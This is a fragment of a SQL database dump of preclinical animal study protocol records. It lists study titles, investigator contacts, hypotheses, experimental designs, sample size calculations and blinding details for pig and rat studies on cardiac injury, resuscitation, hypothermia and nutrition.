	(9749,266,'link_to_data','\"https:\\/\\/jasn.asnjournals.org\\/content\\/31\\/8\\/1729.long\\nhttps:\\/\\/jasn.asnjournals.org\\/content\\/31\\/12\\/2773.long\\nhttps:\\/\\/www.nature.com\\/articles\\/s41581-018-0001-y\\nhttps:\\/\\/www.kidney-international.org\\/article\\/S0085-2538(17)30772-X\\/fulltext\\nhttps:\\/\\/www.nature.com\\/articles\\/nrdp201788\\nhttps:\\/\\/jasn.asnjournals.org\\/content\\/28\\/1\\/76.long\\nhttps:\\/\\/www.nejm.org\\/doi\\/10.1056\\/NEJMcibr1608564?url_ver=Z39.88-2003&amp;rfr_id=ori%3Arid%3Acrossref.org&amp;rfr_dat=cr_pub++0pubmed\\nhttps:\\/\\/jasn.asnjournals.org\\/content\\/27\\/6\\/1635.long\\nhttps:\\/\\/ajp.amjpathol.org\\/article\\/S0002-9440(11)00317-8\\/fulltext\\nhttps:\\/\\/linkinghub.elsevier.com\\/retrieve\\/pii\\/S0085-2538(15)51760-2\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9750,266,'has_embargo','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9751,267,'title','\"TEST 2021-10-18\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9752,268,'title','\"Effect of curcumin on cholesterol levels in rats\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9753,269,'title','\"Therapeutic effect of systemic delivery of FSTL1 in a porcine model of acute ischaemic disease (DELICATE study)\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9754,269,'short_title','\"DELICATE\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9755,269,'contact_name','\"Aina Cervera i Barea\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9756,269,'contact_role','\"Study director\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9757,269,'contact_email','\"aina.cervera@gmail.com\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9758,269,'study_centre','[{\"name\":\"University Medical Center Utrecht\",\"city\":\"Utrecht\",\"country\":\"NL\"},{\"name\":\"Utrecht University\",\"city\":\"Utrecht\",\"country\":\"NL\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9759,269,'financial_support','[\"grants\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9760,269,'start_date','\"2021-10-25\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9761,269,'end_date','\"2022-04-30\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9762,269,'study_status','\"not_started\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9763,269,'research_field','\"Cardiology\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9764,269,'hypothesis','\"The hypothesis of this study is that the continuous subcutaneous delivery of FSTL1 for 28 days via osmotic pump (non-invasive delivery) will have a regenerative effect on the damaged myocardium by ischemia\\/reperfusion injury and will lead to recovery of cardiac function and reduction of infarct size.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9765,269,'intervention_type','\"compound\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9766,269,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9767,269,'primary_readout_parameter','\"Efficacy based on improvement of left ventricular ejection fraction (LVEF) after 3 months.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9768,269,'secondary_readout_parameter','\"Reduction of infarct size and cardiomyocyte proliferation.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9769,269,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9770,269,'species','\"pig\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9771,269,'strain','\"Yorkshire\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9772,269,'sex','\"female\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9773,269,'experimental_design','\"d0: Echo + Induction of ischaemic injury (90\' balloon occlusion of LAD)\\nd7: Echo + MRI + implantation first Alzet osmotic pump with FSTL1 for 14 days SC infusion + ECG recording + implantation of cardiac loop recorder + blood sampling\\nd7 until d91: weekly Reveal LINQ read-outs (non-invasive; without anaesthesia)\\nd7 until d49: weekly blood sampling\\nd21: Echo + replace initial FSTL1 Alzet pump (empty) for second Alzet FSTL1 osmotic pump for 14 days more of SC delivery + blood sampling + ECG + Reveal read-outs\\nd91: Echo + MRI + ECG + PV loops measurements + Reveal read-outs + blood sampling \\/\\/ followed by termination and isolation of organs for further analysis (histology, molecular)\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9774,269,'sample_size_calculation','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9775,269,'sample_size_calculation_details','\"It is a pilot study, therefore we did not perform a sample size calculation.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9776,269,'sum_of_animals','\"6\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9777,269,'study_arms','[{\"type\":\"control\",\"number\":\"2\",\"intervention\":\"Saline\"},{\"type\":\"intervention\",\"number\":\"4\",\"intervention\":\"FSTL1\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9778,269,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9779,269,'randomisation_method_used','\"random_number_table\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9780,269,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9781,269,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9782,269,'yes_blinded_intervention_partially_details','\"There will be one researcher providing the vials that contain either the intervention compound or the control compound, but this researcher will not conduct any data analysis nor will disclose the randomisation. Therefore, neither the research technicians nor the researchers involved in the surgeries, follow-up and data collection will be aware of each animal\'s received intervention.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9783,269,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9784,269,'yes_blinded_assessment_partially_details','\"Data collected will not indicate interventions, just animal IDs.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9785,269,'placebo_controlled','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9786,269,'has_embargo','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9787,269,'application_number','\"AVD1150020172624\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9788,200,'intervention_type','\"delivery_method\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9789,266,'sample_size_calculation_details','\"Group comparisons are determined about the (kidney) survival time, defined as achieving a stress score greater than 2 for more than 6 hours. A comparison is made with vehicle-treated animals. A minimum survival time of 60 days is assumed here. The expected median duration in the control group is 70 days. An extension to 85 days is clinically relevant. It can be assumed that there will be no failures up today 60. The log-rank test is used as a statistical test. This corresponds to a clinically relevant hazard coefficient of (85-60) \\/ (70-60) = 2.5. With an error of the first type of \\u03b1= 0.05 and an error of the second type \\u03b2= 0.2, the sample size is n = 20 per group. The use of a two-sided test is necessary because it cannot be ruled out that individual therapy groups also lead to a shortening of the (kidney) survival time, which would be significant since all test substances are already in clinical use elsewhere.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9790,222,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9791,270,'title','\"Cardiopulmonary Resuscitation Techniques in Pediatric Cardiac Arrest\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9792,270,'contact_name','\"Georg Schmolzer\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9793,270,'contact_role','\"Principal Investigator\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9794,270,'contact_email','\"schmolze@ualberta.ca\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9795,270,'study_centre','[{\"name\":\"University of Alberta\",\"city\":\"Edmonton\",\"country\":\"CA\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9796,270,'financial_support','[\"grants\"]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9797,270,'start_date','\"2020-07-01\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9798,270,'end_date','\"2021-07-01\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9799,270,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9800,270,'research_field','\"Pediatrics\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9801,270,'hypothesis','\"Cardiac arrest in infants\\/children. We hypothesize that using a different cardiopulmonary resuscitation (CPR) technique (sustained inflations during chest compressions, CC+SI) will reduce the time to return of spontaneous circulation (ROSC) compared to CPR with continuous chest compressions with asynchronized ventilation (CCaV).  \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9802,270,'intervention_type','\"delivery_method\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9803,270,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9804,270,'primary_readout_parameter','\"Number of piglets achieving ROSC\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9805,270,'secondary_readout_parameter','\"Hemodynamic parameters, respiratory parameters, and injury markers.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9806,270,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9807,270,'species','\"pig\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9808,270,'sex','\"both\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9809,270,'experimental_design','\"Pediatric piglet model of cardiac arrest.\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9810,270,'sample_size_calculation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9811,270,'sample_size_calculation_details','\"Our primary outcome measure was number of piglets achieving ROSC. We previously reported that 42% of pediatric piglets achieved ROSC using CCaV[3]. We hypothesized that a sample size of 28 piglets (14 per group) will be sufficient to detect a 100% increase in piglets achieving ROSC (i.e., 40% to 80%), with 90% power and a 2-tailed alpha error of 0.05.\"','2022-03-31 13:24:03','2022-03-31 13:24:06'),
	(9812,270,'sum_of_animals','\"28\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9813,270,'study_arms','[{\"type\":\"intervention\",\"number\":\"14\",\"intervention\":\"CPR using CC+SI technique\"},{\"type\":\"intervention\",\"number\":\"14\",\"intervention\":\"CPR using CCaV technique\"}]','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9814,270,'randomisation','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9815,270,'randomisation_method_used','\"computer-generated_random_number_sequence\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9816,270,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9817,270,'investigators_blinded_intervention','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9818,270,'yes_blinded_intervention_partially_details','\"The group allocation is revealed to the resuscitator only when it is time to perform CPR. \"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9819,270,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9820,270,'yes_blinded_assessment_partially_details','\"All data are coded and are only unblinded at the end of the analysis\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9821,270,'placebo_controlled','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9822,270,'has_embargo','\"no\"','2022-03-31 13:24:03','2022-03-31 13:24:03'),
	(9823,105,'link_to_data','\"https:\\/\\/doi.org\\/10.1101\\/2021.10.26.465939\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9824,105,'has_embargo','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9825,271,'title','\"Effects of Giving Eel (Monopterus albus) Extract Powder with a combination of Soy (Glycine max (L.) Merill) Tempe Flour on Malnourished Rats\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9826,271,'short_title','\"Effects of Giving Eel Extract with a combination of Soy Tempe Flour on Malnourished Rats\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9827,271,'contact_name','\"Dr. Iskari Ngadiarti, M.Kes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9828,271,'contact_role','\"Executive Researcher and Supervisor\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9829,271,'contact_email','\"20106040012@student.uin-suka.ac.id\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9830,271,'study_centre','[{\"name\":\"Pharmacology Laboratory, Faculty of Mathematics and Natural Sciences, Sam Ratulangi University\",\"city\":\"Manado\",\"country\":\"ID\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9831,271,'financial_support','[\"investigator_driven\"]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9832,271,'start_date','\"2021-08-01\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9833,271,'end_date','\"2021-10-09\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9834,271,'study_status','\"completed_but_not_published\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9835,271,'research_field','\"Nutrition, Funtional Food, Biomolecular, Biochemistry\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9836,271,'hypothesis','\"Can Giving Eel (Monopterus albus) Extract Powder with a combination of Soy (Glycine max (L.) Merill) which has antioxidants, proteins, amino acids and other nutrients improve nutritional status? Therefore, in vivo or preclinical studies are needed before clinical trials in humans\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9837,271,'intervention_type','\"other\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9838,271,'other_intervention_type','\"Functional Food\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9839,271,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9840,271,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9841,271,'experimental_design','\"Thirty white rats (Rattus norvegicus) aged 3-4 weeks, body weight of 40.5 \\u00b1 5.4 grams used in this study were used as malnourished, namely receiving a Low-Protein (LP) diet (4%) w\\/w protein), refers to de Oliveira et al (2011). After 4 weeks of treatment, the rats were divided into 3 groups. One group (group A) of rats were given a Normal-Protein (NP) diet or standard pellets (23% w\\/w protein) and allowed to feed and drink ad libitum during the experimental period or without a dose of Eel Extract with a combination of Soy Tempe Flour. Meanwhile, group A and B rats still remained on a low-protein diet for 4 weeks, receiving a Low-Protein (LP) diet (4% w\\/w protein) containing the same number of calories as the normal diet, as previously described (de Oliveira et al. et al., 2011) and received doses of Eel Extract with a combination of Soy Tempe Flour, respectively 100 and 200 mg\\/kgBW orally gavage. This dose was selected and based on the levels of the lower limit (lower) and the upper limit (higher) for the safety of the rat stomach. After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of protein, hemoglobin, hematocrit, total red blood cell (RDW) and Insulin-like Growth Factor I (IGF-1) levels.\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9842,271,'sum_of_animals','\"Thirty white rats (30)\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9843,271,'randomisation','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9844,271,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9845,271,'details_randomisation','\"simple_randomisation\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9846,271,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9847,271,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9848,271,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9849,271,'has_embargo','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9850,271,'primary_readout_parameter','\"After 4 weeks of treatment, the rats were sacrificed for blood samples to be taken for examination of protein, hemoglobin, hematocrit, total red blood cell (RDW) and Insulin-like Growth Factor I (IGF-1) levels\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9851,271,'species','\"rat\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9852,271,'other_species','\"Rats\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9853,271,'strain','\"Rattus novergicus\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9854,271,'sex','\"male\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9855,271,'sample_size_calculation','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9856,271,'sample_size_calculation_details','\"Determination of the minimum sample using the formula (Supranto, J. (2000). Teknik Sampling Untuk Survei &amp; Eksprimen.), with the equation = (t-1) (r-1) &gt; 15. t= treatment r= replication t in this study is 5, then = (5-1) (r-1) &gt;15; 4(r-1) &gt;15; 4r-4&gt;15; r&gt;4.75 So the minimum sample for each group is &gt; 4.5. So the researcher chose 10 (Just in case there are rats that must be excluded)\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9857,271,'study_arms','[{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Malnoursihed with standard pellets\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Malnoursihed with Low-Protein (LP) diet and 100 mg\\/kgBW orally gavage\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Malnoursihed with Low-Protein (LP) diet and 200 mg\\/kgBW orally gavage\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9858,271,'no_exclusive_animal_use_details','\"Blood sample from liver tissue\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9859,270,'strain','\"mixed-breed piglets\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9860,272,'title','\"Hypothermia After Cardiac Arrest in Large Animals Trial\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9861,272,'short_title','\"HACA-LA Trial\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9862,272,'contact_name','\"Hans Friberg\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9863,272,'contact_role','\"Research group supervisor\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9864,272,'contact_email','\"hans.friberg@med.lu.se\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9865,272,'study_centre','[{\"name\":\"Lund University\",\"city\":\"Lund\",\"country\":\"SE\"},{\"name\":\"Charles University\",\"city\":\"Prague\",\"country\":\"CZ\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9866,272,'financial_support','[\"grants\"]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9867,272,'start_date','\"2021-10-04\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9868,272,'end_date','\"2022-04-04\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9869,272,'study_status','\"active\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9870,272,'research_field','\"Intensive Care Medicine\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9871,272,'hypothesis','\"\\u2022\\tInduced hypothermia after cardiac arrest (CA) and return of spontaneous circulation (ROSC) is neuroprotective \\n\\u2022\\tEarly induction of hypothermia after ROSC improves neuroprotection compared to delayed hypothermia\\n\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9872,272,'intervention_type','\"other\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9873,272,'other_intervention_type','\"Invasive whole body cooling post CA and ROSC\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9874,272,'study_stage','\"study_stage_2_value\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9875,272,'exclusive_animal_use','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9876,272,'species','\"pig\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9877,272,'sex','\"female\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9878,272,'sum_of_animals','\"30\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9879,272,'placebo_controlled','\"not applicable\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9880,272,'has_embargo','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9881,272,'strain','\"Crossbreed Landrace\\/Large White\\nAdult animals\\nWeight 50-75 kg\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9882,272,'application_number','\"Malm\\u00f6 - Lunds djurf\\u00f6rs\\u00f6ksetiska n\\u00e4mnd: Dnr 5.8.18-16160\\/2019\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9883,272,'study_arms','[{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Delayed hypothermia\"},{\"type\":\"intervention\",\"number\":\"10\",\"intervention\":\"Early hypothermia\"},{\"type\":\"control\",\"number\":\"10\",\"intervention\":\"Normothermia\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9884,272,'randomisation','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9885,272,'randomisation_method_used','\"shuffled_blinded_envelopes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9886,272,'details_randomisation','\"block_randomisation\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9887,272,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9888,272,'investigators_blinded_assessment','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9889,272,'experimental_design','\"Adult pigs are anesthetized, kept at baseline parameters and subjected to 10 minutes of cardiac arrest by induced ventricular fibrillation. Basic life support is then commenced with mechanical compressions and manual ventilation provided for 4 minutes before countershocks are attempted. Animals who achieve stable ROSC, defined as sustained systolic blood pressure &gt;60 mmHg for 10 min, within 15 minutes from start of life support are included and randomized into one of three arms: normothermia (goal 38 C with intravenous maintenance), delayed hypothermia (goal 33 C with intravenous cooling starting 2 hours post ROSC) or early hypothermia (goal 33 C with intravenous cooling starting at ROSC). Animals in all arms are anesthetized, muscle relaxed and supported by general intensive care with mechanical ventilation. Target temperature management is applied for 18 hours including cooling time. Animals in cooling arms are thereafter rewarmed at a rate of 0,5 C\\/h until reaching normothermia while the control group remains at normothermia. Intervention ends 30 hours post randomization in all arms and animals are weaned from intensive care and extubated. Follow-up is performed during 6 days after randomization including: biomarkers, daily neurological examination and neurocognitive testing. At the end of follow-up period animals are euthanized and brains are preserved for histopathological examination.\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9890,272,'sample_size_calculation','\"yes\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9891,272,'sample_size_calculation_details','\"\\u2022\\tPower of 80% and a significance level of 2,5%. \\n\\u2022\\tEstimated mean mHDS of 16 and 12 in the control group and main intervention group (Delayed hypothermia) respectively and a standard deviation of 2,6 in both groups.\\n\\u2022\\t This means that we will need 10 animals in each group. To achieve balance in the trial we assume that the other intervention group (Early hypothermia) is of the same size which means that we in total need 30 animals.\\n\"','2022-03-31 13:24:04','2022-03-31 13:24:04');

INSERT INTO `details` (`id`, `protocol_id`, `key`, `value`, `created_at`, `updated_at`)
VALUES
	(9892,272,'primary_readout_parameter','\"Histopathological brain damage will be assessed according to modified Histology damage score (mHDS) a modification from Histology damage score in pigs published by H\\u00f6gler et al. 2010 (1). Our modifications are based on a human study published by Bj\\u00f6rklund et al. 2014 (2).\\n\\nAfter euthanasia brains will be immersed in fixative solution and stained with Haematoxylin-eosin. A pathologist blinded to intervention will assess brain damage in tissue sections with light microscope.\\n\\nFour brain regions will be assessed:\\n1.\\tNeocortex \\n2.\\tThalamus\\n3.\\tHippocampus\\n4.\\tCerebellum \\n\\nA score 0-4 for each of the three damage types below will be given based on severity (0 no damage, 4 worst):\\n\\u2022\\tOedema (weighting factor 1)\\n\\u2022\\tEosinophilic neuronal necrosis (weighting factor 2)\\n\\u2022\\tPyknosis (weighting factor 2)\\n\\nThe score for each damage type will be multiplied with its weighting factor and added up to a total sum between 0-20 for each region.\\n\\nAll four regions total sum will be added up and divided by the total number of regions to attain compiled sum between 0-20 to constitute the final mHDS score.\\n\\nAnimals not surviving until end of follow up period automatically get a final maximal score of 21 in primary outcome assessment.\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9893,272,'secondary_readout_parameter','\"\\u2022\\tDaily Neurocognitive testing (NCT) pre and post intervention based on a model published by Fries et al. 2008 (3).\\n\\u2022\\tDaily neurlogical examination post intervention with Neurological deficit score (NDS) and Overall performance category (OPC) based on protocols published by Sipos et al. 2008 (4).\\n\\u2022\\tSerum biomarkers: neurofilament light chain (NFL), Neuron-specific enolase (NSE),glial fibrillary acidic protein (GFAP) and tau protein will be measured at the following timepoints: baseline pre-arrest, 2 h post randomization, 12 h  post randomization, 24 h  post randomization, 48 h  post randomization and at end of follow-up period.\\n\\u2022\\tBrain damage according to mHDS (score 0-20) in animals not surviving until end of follow-up period.\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9894,272,'link_to_data','\"1. https:\\/\\/doi.org\\/10.1016\\/j.resuscitation.2010.07.005\\n2. https:\\/\\/doi.org\\/10.1016\\/j.resuscitation.2013.11.022\\n3. https:\\/\\/doi.org\\/10.1097\\/CCM.0B013E3181653041\\n4. https:\\/\\/www.researchgate.net\\/publication\\/285667216_A_novel_highly_observer-independent_neurologic_examination_procedure_for_pigs_in_a_model_for_cardiac_arrest_resuscitation\\nJanuary 2008 Wiener Tierarztliche Monatsschrift 95(1):28-38\\n\\n\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9895,272,'yes_blinded_assessment_partially_details','\"- Primary readout parameter: \\n\\u2022\\tmHDS assessment performed by an investigator fully blinded to intervention.\\n- Secondary readout parameters:\\n\\u2022\\tAnalysis and assessment of Serum biomarkers performed by an investigator fully blinded to intervention.\\n\\u2022\\tAssessment of NCT, NDS and OPC primarily performed by an investigator not blinded to intervention but filmed for secondary validation by an investigator fully blinded to intervention.\\n\\n\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9896,273,'title','\"jfjfkf\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9897,273,'short_title','\"hfjfk\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9898,274,'contact_name','\"Kazem Nasserinejad\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9899,274,'contact_role','\"Executive researcher\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9900,274,'contact_email','\"k.nasserinejad@erasmusmc.nl\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9901,274,'title','\"Electronic cigarette vs tobacco cigarette impact on lung; An animal model systematic review\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9902,274,'study_centre','[{\"name\":\"Erasmus MC\",\"city\":\"Rotterdam\",\"country\":\"NL\"}]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9903,274,'financial_support','[\"grants\"]','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9904,274,'start_date','\"2022-05-01\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9905,274,'end_date','\"2024-04-30\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9906,274,'study_status','\"not_started\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9907,274,'intervention_type','\"other\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9908,274,'other_intervention_type','\"electronic cigarette vs tobacco cigarette\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9909,274,'study_stage','\"study_stage_1_value\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9910,274,'exclusive_animal_use','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9911,274,'no_exclusive_animal_use_details','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9912,274,'sex','\"both\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9913,274,'sample_size_calculation','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9914,274,'sample_size_calculation_details','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9915,274,'research_field','\"Oncology\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9916,274,'hypothesis','\"Is there any defference between electronic cigarette vs tobacco cigarette impact on lung\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9917,274,'primary_readout_parameter','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9918,274,'experimental_design','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9919,274,'sum_of_animals','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9920,274,'randomisation','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9921,274,'why_no_randomisation','\"This is an animal model systematic review. \"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9922,274,'investigators_blinded_intervention','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
	(9923,274,'investigators_blinded_assessment','\"no\"','2022-03-31 13:24:04','2022-03-31 13:24:04'),
